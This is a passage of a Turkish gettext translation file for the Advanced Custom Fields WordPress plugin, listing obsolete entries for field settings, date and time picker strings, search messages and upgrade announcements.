#~ msgstr "Akordeon"

#~ msgid "Open"
#~ msgstr "Açık"

#~ msgid "Display this accordion as open on page load."
#~ msgstr "Sayfa yüklemesi sırasında bu akordeonu açık olarak görüntüle."

#~ msgid "Multi-expand"
#~ msgstr "Çoklu genişletme"

#~ msgid "Allow this accordion to open without closing others."
#~ msgstr "Bu akordeonun diğerlerini kapatmadan açılmasını sağla."

#~ msgid "Endpoint"
#~ msgstr "Uç nokta"

#~ msgid ""
#~ "Define an endpoint for the previous accordion to stop. This accordion "
#~ "will not be visible."
#~ msgstr ""
#~ "Önceki akordeonun durması için bir son nokta tanımlayın. Bu akordeon "
#~ "görüntülenmeyecek."

#~ msgid "Button Group"
#~ msgstr "Tuş grubu"

#~ msgid "Choices"
#~ msgstr "Seçimler"

#~ msgid "Enter each choice on a new line."
#~ msgstr "Her seçeneği yeni bir satıra girin."

#~ msgid "For more control, you may specify both a value and label like this:"
#~ msgstr ""
#~ "Daha fazla kontrol için, hem bir değeri hem de bir etiketi şu şekilde "
#~ "belirtebilirsiniz:"

#~ msgid "red : Red"
#~ msgstr "kirmizi : Kırmızı"

#~ msgid "Allow Null?"
#~ msgstr "Boş geçilebilir mi?"

#~ msgid "Default Value"
#~ msgstr "Varsayılan değer"

#~ msgid "Appears when creating a new post"
#~ msgstr "Yeni bir yazı oluştururken görünür"

#~ msgid "Horizontal"
#~ msgstr "Yatay"

#~ msgid "Vertical"
#~ msgstr "Dikey"

#~ msgid "Return Value"
#~ msgstr "Dönüş değeri"

#~ msgid "Specify the returned value on front end"
#~ msgstr "Ön yüzden dönecek değeri belirleyin"

#~ msgid "Value"
#~ msgstr "Değer"

#~ msgid "Both (Array)"
#~ msgstr "İkisi de (Dizi)"

#~ msgid "Checkbox"
#~ msgstr "İşaret kutusu"

#~ msgid "Toggle All"
#~ msgstr "Tümünü aç/kapat"

#~ msgid "Add new choice"
#~ msgstr "Yeni seçenek ekle"

#~ msgid "Allow Custom"
#~ msgstr "Özel değere izin ver"

#~ msgid "Allow 'custom' values to be added"
#~ msgstr "‘Özel’ alanların eklenebilmesine izin ver"

#~ msgid "Save Custom"
#~ msgstr "Özel alanı kaydet"

#~ msgid "Save 'custom' values to the field's choices"
#~ msgstr "‘Özel’ değerleri alanın seçenekleri arasına kaydet"

#~ msgid "Enter each default value on a new line"
#~ msgstr "Her varsayılan değeri yeni bir satıra girin"

#~ msgid "Toggle"
#~ msgstr "Aç - kapat"

#~ msgid "Prepend an extra checkbox to toggle all choices"
#~ msgstr ""
#~ "En başa tüm seçimleri tersine çevirmek için ekstra bir seçim kutusu ekle"

#~ msgid "Color Picker"
#~ msgstr "Renk seçici"

#~ msgid "Clear"
#~ msgstr "Temizle"

#~ msgid "Clear color"
#~ msgstr "Rengi temizle"

#~ msgid "Default"
#~ msgstr "Varsayılan"

#~ msgid "Select default color"
#~ msgstr "Varsayılan rengi seç"

#~ msgid "Select Color"
#~ msgstr "Renk seç"

#~ msgid "Color value"
#~ msgstr "Renk değeri"

#~ msgid "Hex String"
#~ msgstr "Hex metin"

#~ msgid "RGBA String"
#~ msgstr "RGBA metin"

#~ msgid "Enable Transparency"
#~ msgstr "Saydamlığı etkinleştir"

#~ msgid "RGBA Array"
#~ msgstr "RGBA dizisi"

#~ msgid "Date Picker"
#~ msgstr "Tarih seçici"

#~ msgctxt "Date Picker JS closeText"
#~ msgid "Done"
#~ msgstr "Tamam"

#~ msgctxt "Date Picker JS currentText"
#~ msgid "Today"
#~ msgstr "Bugün"

#~ msgctxt "Date Picker JS nextText"
#~ msgid "Next"
#~ msgstr "İleri"

#~ msgctxt "Date Picker JS prevText"
#~ msgid "Prev"
#~ msgstr "Önceki"

#~ msgctxt "Date Picker JS weekHeader"
#~ msgid "Wk"
#~ msgstr "Hf"

#~ msgid "Display Format"
#~ msgstr "Gösterim biçimi"

#~ msgid "The format displayed when editing a post"
#~ msgstr "Bir yazı düzenlenirken görüntülenecek biçim"

#~ msgid "Custom:"
#~ msgstr "Özel:"

#~ msgid "Save Format"
#~ msgstr "Biçimi kaydet"

#~ msgid "The format used when saving a value"
#~ msgstr "Bir değer kaydedilirken kullanılacak biçim"

#~ msgid "The format returned via template functions"
#~ msgstr "Tema işlevlerinden dönen biçim"

#~ msgid "Week Starts On"
#~ msgstr "Hafta başlangıcı"

#~ msgid "Date Time Picker"
#~ msgstr "Tarih zaman seçici"

#~ msgctxt "Date Time Picker JS timeOnlyTitle"
#~ msgid "Choose Time"
#~ msgstr "Zamanı se"

#~ msgctxt "Date Time Picker JS timeText"
#~ msgid "Time"
#~ msgstr "Zaman"

#~ msgctxt "Date Time Picker JS hourText"
#~ msgid "Hour"
#~ msgstr "Saat"

#~ msgctxt "Date Time Picker JS minuteText"
#~ msgid "Minute"
#~ msgstr "Dakika"

#~ msgctxt "Date Time Picker JS secondText"
#~ msgid "Second"
#~ msgstr "Saniye"

#~ msgctxt "Date Time Picker JS millisecText"
#~ msgid "Millisecond"
#~ msgstr "Milisaniye"

#~ msgctxt "Date Time Picker JS microsecText"
#~ msgid "Microsecond"
#~ msgstr "Mikrosaniye"

#~ msgctxt "Date Time Picker JS timezoneText"
#~ msgid "Time Zone"
#~ msgstr "Zaman Dilimi"

#~ msgctxt "Date Time Picker JS currentText"
#~ msgid "Now"
#~ msgstr "Şimdi"

#~ msgctxt "Date Time Picker JS closeText"
#~ msgid "Done"
#~ msgstr "Tamam"

#~ msgctxt "Date Time Picker JS selectText"
#~ msgid "Select"
#~ msgstr "Seç"

#~ msgctxt "Date Time Picker JS amText"
#~ msgid "AM"
#~ msgstr "AM"

#~ msgctxt "Date Time Picker JS amTextShort"
#~ msgid "A"
#~ msgstr "A"

#~ msgctxt "Date Time Picker JS pmText"
#~ msgid "PM"
#~ msgstr "PM"

#~ msgctxt "Date Time Picker JS pmTextShort"
#~ msgid "P"
#~ msgstr "P"

#~ msgid "Email"
#~ msgstr "E-posta"

#~ msgid "Placeholder Text"
#~ msgstr "Yer tutucu metin"

#~ msgid "Appears within the input"
#~ msgstr "Girdi alanının içinde görünür"

#~ msgid "Prepend"
#~ msgstr "Önüne ekle"

#~ msgid "Appears before the input"
#~ msgstr "Girdi alanından önce görünür"

#~ msgid "Append"
#~ msgstr "Sonuna ekle"

#~ msgid "Appears after the input"
#~ msgstr "Girdi alanından sonra görünür"

#, php-format
#~ msgid "'%s' is not a valid email address"
#~ msgstr "'%s' geçerli bir e-posta adresi değil"

#~ msgid "File"
#~ msgstr "Dosya"

#~ msgid "Edit File"
#~ msgstr "Dosya düzenle"

#~ msgid "Update File"
#~ msgstr "Dosyayı güncelle"

#~ msgid "File name"
#~ msgstr "Dosya adı"

#~ msgid "Add File"
#~ msgstr "Dosya ekle"

#~ msgid "File Array"
#~ msgstr "Dosya dizisi"

#~ msgid "File URL"
#~ msgstr "Dosya adresi"

#~ msgid "File ID"
#~ msgstr "Dosya no"

#~ msgid "Restrict which files can be uploaded"
#~ msgstr "Yüklenebilecek dosyaları sınırlandırın"

#, php-format
#~ msgid "%s requires a valid attachment ID."
#~ msgstr "%s geçerli bir ek kimliği gerektirir."

#~ msgid "Google Map"
#~ msgstr "Google haritası"

#~ msgid "Sorry, this browser does not support geolocation"
#~ msgstr "Üzgünüz, bu tarayıcı konumlandırma desteklemiyor"

#~ msgid "Search"
#~ msgstr "Ara"

#~ msgid "Clear location"
#~ msgstr "Konumu temizle"

#~ msgid "Find current location"
#~ msgstr "Şu anki konumu bul"

#~ msgid "Search for address..."
#~ msgstr "Adres arayın…"

#~ msgid "Center"
#~ msgstr "Merkez"

#~ msgid "Center the initial map"
#~ msgstr "Haritayı ortala"

#~ msgid "Zoom"
#~ msgstr "Yaklaş"

#~ msgid "Set the initial zoom level"
#~ msgstr "Temel yaklaşma seviyesini belirle"

#~ msgid "Customize the map height"
#~ msgstr "Harita yüksekliğini özelleştir"

#~ msgid "Group"
#~ msgstr "Grup"

#~ msgid "Image"
#~ msgstr "Görsel"

#~ msgid "Select Image"
#~ msgstr "Görsel seç"

#~ msgid "Edit Image"
#~ msgstr "Görseli düzenle"

#~ msgid "Update Image"
#~ msgstr "Görseli güncelle"

#~ msgid "All images"
#~ msgstr "Tüm görseller"

#~ msgid "No image selected"
#~ msgstr "Görsel seçilmedi"

#~ msgid "Add Image"
#~ msgstr "Görsel ekle"

#~ msgid "Link"
#~ msgstr "Bağlantı"

#~ msgid "Select Link"
#~ msgstr "Bağlantı seç"

#~ msgid "Opens in a new window/tab"
#~ msgstr "Yeni pencerede/sekmede açılır"

#~ msgid "Link Array"
#~ msgstr "Bağlantı dizisi"

#~ msgid "Link URL"
#~ msgstr "Bağlantı adresi"

#~ msgid "Message"
#~ msgstr "Mesaj"

#~ msgid "New Lines"
#~ msgstr "Yeni satırlar"

#~ msgid "Controls how new lines are rendered"
#~ msgstr "Yeni satırların nasıl görüntüleneceğini denetler"

#~ msgid "Automatically add paragraphs"
#~ msgstr "Otomatik paragraf ekle"

#~ msgid "Automatically add &lt;br&gt;"
#~ msgstr "Otomatik ekle &lt;br&gt;"

#~ msgid "No Formatting"
#~ msgstr "Biçimlendirme yok"

#~ msgid "Escape HTML"
#~ msgstr "HTML’i güvenli hale getir"

#~ msgid "Allow HTML markup to display as visible text instead of rendering"
#~ msgstr "Görünür metin olarak HTML kodlamasının görüntülenmesine izin ver"

#~ msgid "Number"
#~ msgstr "Sayı"

#~ msgid "Minimum Value"
#~ msgstr "En az değer"

#~ msgid "Maximum Value"
#~ msgstr "En fazla değer"

#~ msgid "Step Size"
#~ msgstr "Adım boyutu"

#~ msgid "Value must be a number"
#~ msgstr "Değer bir sayı olmalı"

#, php-format
#~ msgid "Value must be equal to or higher than %d"
#~ msgstr "Değer %d değerine eşit ya da daha büyük olmalı"

#, php-format
#~ msgid "Value must be equal to or lower than %d"
#~ msgstr "Değer %d değerine eşit ya da daha küçük olmalı"

#~ msgid "oEmbed"
#~ msgstr "oEmbed"

#~ msgid "Enter URL"
#~ msgstr "Adres girin"

#~ msgid "Embed Size"
#~ msgstr "Gömme boyutu"

#~ msgid "Page Link"
#~ msgstr "Sayfa bağlantısı"

#~ msgid "Archives"
#~ msgstr "Arşivler"

#~ msgid "Parent"
#~ msgstr "Ebeveyn"

#~ msgid "Filter by Post Type"
#~ msgstr "Yazı tipine göre filtre"

#~ msgid "All post types"
#~ msgstr "Tüm yazı tipleri"

#~ msgid "Filter by Taxonomy"
#~ msgstr "Taksonomiye göre filtre"

#~ msgid "All taxonomies"
#~ msgstr "Tüm taksonomiler"

#~ msgid "Allow Archives URLs"
#~ msgstr "Arşivler adresine izin ver"

#~ msgid "Select multiple values?"
#~ msgstr "Birden çok değer seçilsin mi?"

#~ msgid "Password"
#~ msgstr "Parola"

#~ msgid "Post Object"
#~ msgstr "Yazı nesnesi"

#~ msgid "Post ID"
#~ msgstr "Yazı No"

#, php-format
#~ msgid "%1$s must have a valid post ID."
#~ msgstr "%1$s geçerli bir yazı kimliği olmalıdır."

#, php-format
#~ msgid "%1$s must be of post type %2$s."
#~ msgid_plural "%1$s must be of one of the following post types: %2$s"
#~ msgstr[0] "%1$s %2$s yazı tipinde olmalıdır."
#~ msgstr[1] "%1$s şu yazı tiplerinden birinde olmalıdır: %2$s"

#, php-format
#~ msgid "%1$s must have term %2$s."
#~ msgid_plural "%1$s must have one of the following terms: %2$s"
#~ msgstr[0] "%1$s %2$s terimine sahip olmalıdır."
#~ msgstr[1] "%1$s şu terimlerden birine sahip olmalıdır: %2$s"

#~ msgid "Radio Button"
#~ msgstr "Radyo düğmesi"

#~ msgid "Other"
#~ msgstr "Diğer"

#~ msgid "Add 'other' choice to allow for custom values"
#~ msgstr "Özel değerlere izin vermek için 'diğer' seçeneği ekle"

#~ msgid "Save Other"
#~ msgstr "Diğerini kaydet"

#~ msgid "Save 'other' values to the field's choices"
#~ msgstr "‘Diğer’ değerlerini alanın seçenekleri arasına kaydet"

#~ msgid "Range"
#~ msgstr "Aralık"

#~ msgid "Relationship"
#~ msgstr "İlişkili"

#~ msgid "Maximum values reached ( {max} values )"
#~ msgstr "En yüksek değerlere ulaşıldı ({max} değerleri)"

#~ msgid "Loading"
#~ msgstr "Yükleniyor"

#~ msgid "No matches found"
#~ msgstr "Eşleşme yok"

#~ msgid "Select post type"
#~ msgstr "Yazı tipi seç"

#~ msgid "Select taxonomy"
#~ msgstr "Taksonomi seç"

#~ msgid "Search..."
#~ msgstr "Ara…"

#~ msgid "Filters"
#~ msgstr "Filtreler"

#~ msgid "Post Type"
#~ msgstr "Yazı tipi"

#~ msgid "Taxonomy"
#~ msgstr "Taksonomi"

#~ msgid "Elements"
#~ msgstr "Elemanlar"

#~ msgid "Selected elements will be displayed in each result"
#~ msgstr "Her sonuç içinde seçilmiş elemanlar görüntülenir"

#~ msgid "Minimum posts"
#~ msgstr "En az gönderi"

#~ msgid "Maximum posts"
#~ msgstr "En fazla yazı"

#~ msgctxt "noun"
#~ msgid "Select"
#~ msgstr "Seçim"

#~ msgctxt "Select2 JS matches_1"
#~ msgid "One result is available, press enter to select it."
#~ msgstr "Bir sonuç bulundu, seçmek için enter tuşuna basın."

#, php-format
#~ msgctxt "Select2 JS matches_n"
#~ msgid "%d results are available, use up and down arrow keys to navigate."
#~ msgstr "%d sonuç bulundu. Dolaşmak için yukarı ve aşağı okları kullanın."

#~ msgctxt "Select2 JS matches_0"
#~ msgid "No matches found"
#~ msgstr "Eşleşme yok"

#~ msgctxt "Select2 JS input_too_short_1"
#~ msgid "Please enter 1 or more characters"
#~ msgstr "Lütfen 1 veya daha fazla karakter girin"

#, php-format
#~ msgctxt "Select2 JS input_too_short_n"
#~ msgid "Please enter %d or more characters"
#~ msgstr "Lütfen %d veya daha fazla karakter girin"

#~ msgctxt "Select2 JS input_too_long_1"
#~ msgid "Please delete 1 character"
#~ msgstr "Lütfen 1 karakter silin"

#, php-format
#~ msgctxt "Select2 JS input_too_long_n"
#~ msgid "Please delete %d characters"
#~ msgstr "Lütfen %d karakter silin"

#~ msgctxt "Select2 JS selection_too_long_1"
#~ msgid "You can only select 1 item"
#~ msgstr "Sadece 1 öğe seçebilirsiniz"

#, php-format
#~ msgctxt "Select2 JS selection_too_long_n"
#~ msgid "You can only select %d items"
#~ msgstr "Sadece %d öge seçebilirsiniz"

#~ msgctxt "Select2 JS load_more"
#~ msgid "Loading more results&hellip;"
#~ msgstr "Daha fazla sonuç yükleniyor&hellip;"

#~ msgctxt "Select2 JS searching"
#~ msgid "Searching&hellip;"
#~ msgstr "Aranıyor&hellip;"

#~ msgctxt "Select2 JS load_fail"
#~ msgid "Loading failed"
#~ msgstr "Yükleme başarısız oldu"

#~ msgctxt "verb"
#~ msgid "Select"
#~ msgstr "Seç"

#~ msgid "Stylised UI"
#~ msgstr "Stilize edilmiş kullanıcı arabirimi"

#~ msgid "Use AJAX to lazy load choices?"
#~ msgstr "Seçimlerin tembel yüklenmesi için AJAX kullanılsın mı?"

#~ msgid "Specify the value returned"
#~ msgstr "Dönecek değeri belirt"

#, php-format
#~ msgid "%1$s is not one of %2$s"
#~ msgstr "%1$s bir %2$s değil"

#~ msgid "Separator"
#~ msgstr "Ayraç"

#~ msgid "Tab"
#~ msgstr "Sekme"

#~ msgid "Placement"
#~ msgstr "Konumlandırma"

#~ msgid ""
#~ "Define an endpoint for the previous tabs to stop. This will start a new "
#~ "group of tabs."
#~ msgstr ""
#~ "Önceki sekmelerin durması için bir uç nokta tanımlayın. Bu yeni sekmeler "
#~ "için bir grup başlatacaktır."

#, php-format
#~ msgctxt "No terms"
#~ msgid "No %s"
#~ msgstr "%s yok"

#~ msgid "Select the taxonomy to be displayed"
#~ msgstr "Görüntülenecek taksonomiyi seçin"

#~ msgid "Appearance"
#~ msgstr "Görünüm"

#~ msgid "Select the appearance of this field"
#~ msgstr "Bu alanın görünümünü seçin"

#~ msgid "Multiple Values"
#~ msgstr "Çoklu değer"

#~ msgid "Multi Select"
#~ msgstr "Çoklu seçim"

#~ msgid "Single Value"
#~ msgstr "Tek değer"

#~ msgid "Radio Buttons"
#~ msgstr "Radyo düğmeleri"

#~ msgid "Create Terms"
#~ msgstr "Terimleri oluştur"

#~ msgid "Allow new terms to be created whilst editing"
#~ msgstr "Düzenlenirken yeni terimlerin oluşabilmesine izin ver"

#~ msgid "Save Terms"
#~ msgstr "Terimleri kaydet"

#~ msgid "Connect selected terms to the post"
#~ msgstr "Seçilmiş terimleri yazıya bağla"

#~ msgid "Load Terms"
#~ msgstr "Terimleri yükle"

#~ msgid "Load value from posts terms"
#~ msgstr "Yazının terimlerinden değerleri yükle"

#~ msgid "Term Object"
#~ msgstr "Terim nesnesi"

#~ msgid "Term ID"
#~ msgstr "Terim no"

#, php-format
#~ msgid "User unable to add new %s"
#~ msgstr "Kullanıcı yeni %s ekleyemiyor"

#, php-format
#~ msgid "%s already exists"
#~ msgstr "%s zaten mevcut"

#, php-format
#~ msgid "%s added"
#~ msgstr "%s eklendi"

#~ msgid "Add"
#~ msgstr "Ekle"

#~ msgid "Text"
#~ msgstr "Metin"

#~ msgid "Character Limit"
#~ msgstr "Karakter limiti"

#~ msgid "Leave blank for no limit"
#~ msgstr "Limit olmaması için boş bırakın"

#, php-format
#~ msgid "Value must not exceed %d characters"
#~ msgstr "Değer %d karakteri geçmemelidir"

#~ msgid "Text Area"
#~ msgstr "Metin alanı"

#~ msgid "Rows"
#~ msgstr "Satırlar"

#~ msgid "Sets the textarea height"
#~ msgstr "Metin alanı yüksekliğini ayarla"

#~ msgid "Time Picker"
#~ msgstr "Zaman seçici"

#~ msgid "True / False"
#~ msgstr "Doğru / yanlış"

#~ msgid "Displays text alongside the checkbox"
#~ msgstr "İşaret kutusunun yanında görüntülenen metin"

#~ msgid "On Text"
#~ msgstr "Açık metni"

#~ msgid "Text shown when active"
#~ msgstr "Etkinken görüntülenen metin"

#~ msgid "Off Text"
#~ msgstr "Kapalı metni"

#~ msgid "Text shown when inactive"
#~ msgstr "Etkin değilken görüntülenen metin"

#~ msgid "Url"
#~ msgstr "Web adresi"

#~ msgid "Value must be a valid URL"
#~ msgstr "Değer geçerli bir web adresi olmalı"

#~ msgid "User"
#~ msgstr "Kullanıcı"

#~ msgid "Filter by role"
#~ msgstr "Kurala göre filtrele"

#~ msgid "All user roles"
#~ msgstr "Bütün kullanıcı rolleri"

#~ msgid "User Array"
#~ msgstr "Kullanıcı dizisi"

#~ msgid "User Object"
#~ msgstr "Kullanıcı nesnesi"

#~ msgid "User ID"
#~ msgstr "Kullanıcı No"

#~ msgid "Error loading field."
#~ msgstr "Alan yükleme sırasında hata."

#~ msgid "Invalid request."
#~ msgstr "Geçersiz istek."

#, php-format
#~ msgid "%1$s must have a valid user ID."
#~ msgstr "%1$s geçerli bir kullanıcı kimliğine sahip olmalıdır."

#, php-format
#~ msgid "%1$s must have a user with the %2$s role."
#~ msgid_plural "%1$s must have a user with one of the following roles: %2$s"
#~ msgstr[0] "%1$s %2$s rolüne sahip bir kullanıcıya sahip olmalıdır."
#~ msgstr[1] ""
#~ "%1$s şu rollerden birine sahip bir kullanıcıya sahip olmalıdır: %2$s"

#~ msgid "Wysiwyg Editor"
#~ msgstr "Wysiwyg düzenleyici"

#~ msgid "Visual"
#~ msgstr "Görsel"

#~ msgctxt "Name for the Text editor tab (formerly HTML)"
#~ msgid "Text"
#~ msgstr "Metin"

#~ msgid "Click to initialize TinyMCE"
#~ msgstr "TinyMCE hazırlamak için tıklayın"

#~ msgid "Tabs"
#~ msgstr "Sekmeler"

#~ msgid "Visual & Text"
#~ msgstr "Görsel ve metin"

#~ msgid "Visual Only"
#~ msgstr "Sadece görsel"

#~ msgid "Text Only"
#~ msgstr "Sadece metin"

#~ msgid "Toolbar"
#~ msgstr "Araç çubuğu"

#~ msgid "Show Media Upload Buttons?"
#~ msgstr "Ortam yükleme tuşları gösterilsin mi?"

#~ msgid "Delay initialization?"
#~ msgstr "Hazırlık geciktirilsin mi?"

#~ msgid "TinyMCE will not be initialized until field is clicked"
#~ msgstr "Alan tıklanana kadar TinyMCE hazırlanmayacaktır"

#~ msgid "Validate Email"
#~ msgstr "E-postayı doğrula"

#~ msgid "Post updated"
#~ msgstr "Yazı güncellendi"

#~ msgid "Spam Detected"
#~ msgstr "İstenmeyen tespit edildi"

#, php-format
#~ msgid "<strong>Error</strong>: %s"
#~ msgstr "<strong>Hata</strong>: %s"

#, php-format
#~ msgid "Class \"%s\" does not exist."
#~ msgstr "\"%s\" sınıfı mevcut değil."

#, php-format
#~ msgid "Location type \"%s\" is already registered."
#~ msgstr "Konum türü \"%s\" zaten kayıtlı."

#~ msgid "Post"
#~ msgstr "Yazı"

#~ msgid "Page"
#~ msgstr "Sayfa"

#~ msgid "Forms"
#~ msgstr "Formlar"

#~ msgid "is equal to"
#~ msgstr "eşitse"

#~ msgid "is not equal to"
#~ msgstr "eşit değilse"

#~ msgid "Attachment"
#~ msgstr "Ek"

#, php-format
#~ msgid "All %s formats"
#~ msgstr "Tüm %s biçimleri"

#~ msgid "Comment"
#~ msgstr "Yorum"

#~ msgid "Current User Role"
#~ msgstr "Şu anki kullanıcı rolü"

#~ msgid "Super Admin"
#~ msgstr "Süper yönetici"

#~ msgid "Current User"
#~ msgstr "Şu anki kullanıcı"

#~ msgid "Logged in"
#~ msgstr "Giriş yapıldı"

#~ msgid "Viewing front end"
#~ msgstr "Ön yüz görüntüleniyor"

#~ msgid "Viewing back end"
#~ msgstr "Arka yüz görüntüleniyor"

#~ msgid "Menu Item"
#~ msgstr "Menü ögesi"

#~ msgid "Menu"
#~ msgstr "Menü"

#~ msgid "Menu Locations"
#~ msgstr "Menü konumları"

#~ msgid "Page Parent"
#~ msgstr "Sayfa ebeveyni"

#~ msgid "Page Template"
#~ msgstr "Sayfa şablonu"

#~ msgid "Default Template"
#~ msgstr "Varsayılan şablon"

#~ msgid "Page Type"
#~ msgstr "Sayfa tipi"

#~ msgid "Front Page"
#~ msgstr "Ön sayfa"

#~ msgid "Posts Page"
#~ msgstr "Yazılar sayfası"

#~ msgid "Top Level Page (no parent)"
#~ msgstr "Üst düzey sayfa (ebeveynsiz)"

#~ msgid "Parent Page (has children)"
#~ msgstr "Üst sayfa (alt sayfası olan)"

#~ msgid "Child Page (has parent)"
#~ msgstr "Alt sayfa (ebeveyni olan)"

#~ msgid "Post Category"
#~ msgstr "Yazı kategorisi"

#~ msgid "Post Format"
#~ msgstr "Yazı biçimi"

#~ msgid "Post Status"
#~ msgstr "Yazı durumu"

#~ msgid "Post Taxonomy"
#~ msgstr "Yazı taksonomisi"

#~ msgid "Post Template"
#~ msgstr "Yazı şablonu"

#~ msgid "User Form"
#~ msgstr "Kullanıcı formu"

#~ msgid "Add / Edit"
#~ msgstr "Ekle / düzenle"

#~ msgid "Register"
#~ msgstr "Kaydet"

#~ msgid "User Role"
#~ msgstr "Kullanıcı kuralı"

#~ msgid "Widget"
#~ msgstr "Bileşen"

#~ msgctxt "verb"
#~ msgid "Edit"
#~ msgstr "Düzenle"

#~ msgctxt "verb"
#~ msgid "Update"
#~ msgstr "Güncelle"

#~ msgid "Uploaded to this post"
#~ msgstr "Bu yazıya yüklenmiş"

#~ msgid "Expand Details"
#~ msgstr "Ayrıntıları genişlet"

#~ msgid "Collapse Details"
#~ msgstr "Detayları daralt"

#~ msgid "Restricted"
#~ msgstr "Kısıtlı"

#, php-format
#~ msgid "%s value is required"
#~ msgstr "%s değeri gerekli"

#~ msgid "https://www.advancedcustomfields.com"
#~ msgstr "https://www.advancedcustomfields.com"

#~ msgid ""
#~ "Customize WordPress with powerful, professional and intuitive fields."
#~ msgstr ""
#~ "Güçlü, profesyonel ve sezgisel alanlar ile WordPress'i özelleştirin."

#~ msgid "Delicious Brains"
#~ msgstr "Delicious Brains"

#~ msgctxt "post status"
#~ msgid "Disabled"
#~ msgstr "Devre dışı"

#~ msgid "Disabled <span class=\"count\">(%s)</span>"
#~ msgid_plural "Disabled <span class=\"count\">(%s)</span>"
#~ msgstr[0] "Devre dışı <span class=\"count\">(%s)</span>"
#~ msgstr[1] "Devre dışı <span class=\"count\">(%s)</span>"

#~ msgid "Hero"
#~ msgstr "Manşet"

#~ msgid "Display a random hero image."
#~ msgstr "Rastgele bir manşet görseli göster."

#~ msgid "Test JS"
#~ msgstr "JS test et"

#~ msgid "A block for testing JS."
#~ msgstr "JS test etmek için bir blok."

#~ msgid "Current Color"
#~ msgstr "Şu anki renk"

#~ msgid "Elliot Condon"
#~ msgstr "Elliot Condon"

#~ msgid "Status"
#~ msgstr "Durum"

#~ msgid "See what's new in <a href=\"%s\">version %s</a>."
#~ msgstr "<a href=\"%s\">%s sürümünde</a> neler yeni bir göz atın."

#~ msgid "Resources"
#~ msgstr "Kaynaklar"

#~ msgid "Documentation"
#~ msgstr "Belgeler"

#~ msgid "Pro"
#~ msgstr "Pro"

#~ msgid "Thank you for creating with <a href=\"%s\">ACF</a>."
#~ msgstr "<a href=\"%s\">ACF</a> ile oluşturduğunuz için teşekkürler."

#~ msgid "Synchronise field group"
#~ msgstr "Alan grubunu eşitle"

#~ msgid "Apply"
#~ msgstr "Uygula"

#~ msgid "Bulk Actions"
#~ msgstr "Toplu eylemler"

#~ msgid "Info"
#~ msgstr "Bilgi"

#~ msgid "What's New"
#~ msgstr "Neler yeni"

#~ msgid "Welcome to Advanced Custom Fields"
#~ msgstr "Advanced Custom Fields eklentisine hoş geldiniz"

#~ msgid ""
#~ "Thank you for updating! ACF %s is bigger and better than ever before. We "
#~ "hope you like it."
#~ msgstr ""
#~ "Güncelleme için teşekkür ederiz! ACF %s zamankinden daha büyük ve daha "
#~ "iyi. Umarız beğenirsiniz."

#~ msgid "A Smoother Experience"
#~ msgstr "Daha pürüzsüz bir deneyim"

#~ msgid "Improved Usability"
#~ msgstr "Geliştirilmiş kullanılabilirlik"

#~ msgid ""
#~ "Including the popular Select2 library has improved both usability and "
#~ "speed across a number of field types including post object, page link, "
#~ "taxonomy and select."
#~ msgstr ""
#~ "Popüler Select2 kütüphanesini ekleyerek yazı nesnesi, sayfa bağlantısı, "
#~ "taksonomi ve seçim kutusu gibi bir çok alan tipinde hem kullanışlılık hem "
#~ "de hız iyileştirmeleri gerçekleşti."

#~ msgid "Improved Design"
#~ msgstr "Geliştirilmiş tasarım"

#~ msgid ""
#~ "Many fields have undergone a visual refresh to make ACF look better than "
#~ "ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
#~ "(new) fields!"
#~ msgstr ""
#~ "ACF daha iyi görünsün diye bir çok alan görsel yenilemeden geçirildi! "
#~ "Gözle görülür değişiklikler galeri, ilişki ve oEmbed (yeni) alanlarında!"

#~ msgid "Improved Data"
#~ msgstr "Geliştirilmiş veri"

#~ msgid ""
#~ "Redesigning the data architecture has allowed sub fields to live "
#~ "independently from their parents. This allows you to drag and drop fields "
#~ "in and out of parent fields!"
#~ msgstr ""
#~ "Veri mimarisinin yeniden düzenlenmesi sayesinde alt alanlar üst alanlara "
#~ "bağlı olmadan var olabiliyorlar. Bu da üst alanların dışına sürükle bırak "
#~ "yapılabilmesine olanak sağlıyor!"

#~ msgid "Goodbye Add-ons. Hello PRO"
#~ msgstr "Elveda eklentiler. Merhaba PRO"

#~ msgid "Introducing ACF PRO"
#~ msgstr "Karşınızda ACF PRO"

#~ msgid ""
#~ "We're changing the way premium functionality is delivered in an exciting "
#~ "way!"
#~ msgstr ""
#~ "Premium işlevlerin size ulaştırılmasını daha heyecanlı bir hale "
#~ "getiriyoruz!"

#~ msgid ""
#~ "All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
#~ "version of ACF</a>. With both personal and developer licenses available, "
#~ "premium functionality is more affordable and accessible than ever before!"
#~ msgstr ""
#~ "Yeni <a href=\"%s\">ACF Pro sürümününe</a> 4 premium eklenti dahil "
#~ "edildi. Hem kişisel hem geliştirici lisansında, özel beceriler hiç "
#~ "olmadığı kadar edinilebilir ve erişilebilir!"

#~ msgid "Powerful Features"
#~ msgstr "Güçlü özellikler"

#~ msgid ""
#~ "ACF PRO contains powerful features such as repeatable data, flexible "
#~ "content layouts, a beautiful gallery field and the ability to create "
#~ "extra admin options pages!"
#~ msgstr ""
#~ "ACF PRO, tekrarlanabilir veri, esnek içerik yerleşimleri, harika bir "
#~ "galeri alanı ve ekstra yönetim seçenekleri sayfaları oluşturma gibi güçlü "
#~ "özellikler içerir!"

#~ msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
#~ msgstr ""
#~ "<a href=\"%s\">ACF PRO özellikleri</a> hakkında daha fazlasını okuyun."

#~ msgid "Easy Upgrading"
#~ msgstr "Kolay yükseltme"

#~ msgid ""
#~ "Upgrading to ACF PRO is easy. Simply purchase a license online and "
#~ "download the plugin!"
#~ msgstr ""
#~ "ACF PRO’ya yükseltmek çok kolay. Çevrimiçi bir lisans satın alın ve "
#~ "eklentiyi indirin!"

#~ msgid ""
#~ "We also wrote an <a href=\"%s\">upgrade guide</a> to answer any "
#~ "questions, but if you do have one, please contact our support team via "
#~ "the <a href=\"%s\">help desk</a>."
#~ msgstr ""
#~ "Her türlü soruya cevap verebilecek <a href=\"%s\">bir yükseltme rehberi</"
#~ "a> hazırladık, fakat yine de bir sorunuz varsa lütfen <a href=\"%s"
#~ "\">yardım masası</a>nı kullanarak destek ekibimize danışın."

#~ msgid "New Features"
#~ msgstr "Yeni özellikler"

#~ msgid "Link Field"
#~ msgstr "Bağlantı alanı"

#~ msgid ""
#~ "The Link field provides a simple way to select or define a link (url, "
#~ "title, target)."
#~ msgstr ""
#~ "Bağlantı alanı bir bağlantı (adres, başlık, hedef) seçmek ya da "
#~ "tanımlamak için basit bir yol sunar."

#~ msgid "Group Field"
#~ msgstr "Grup alanı"

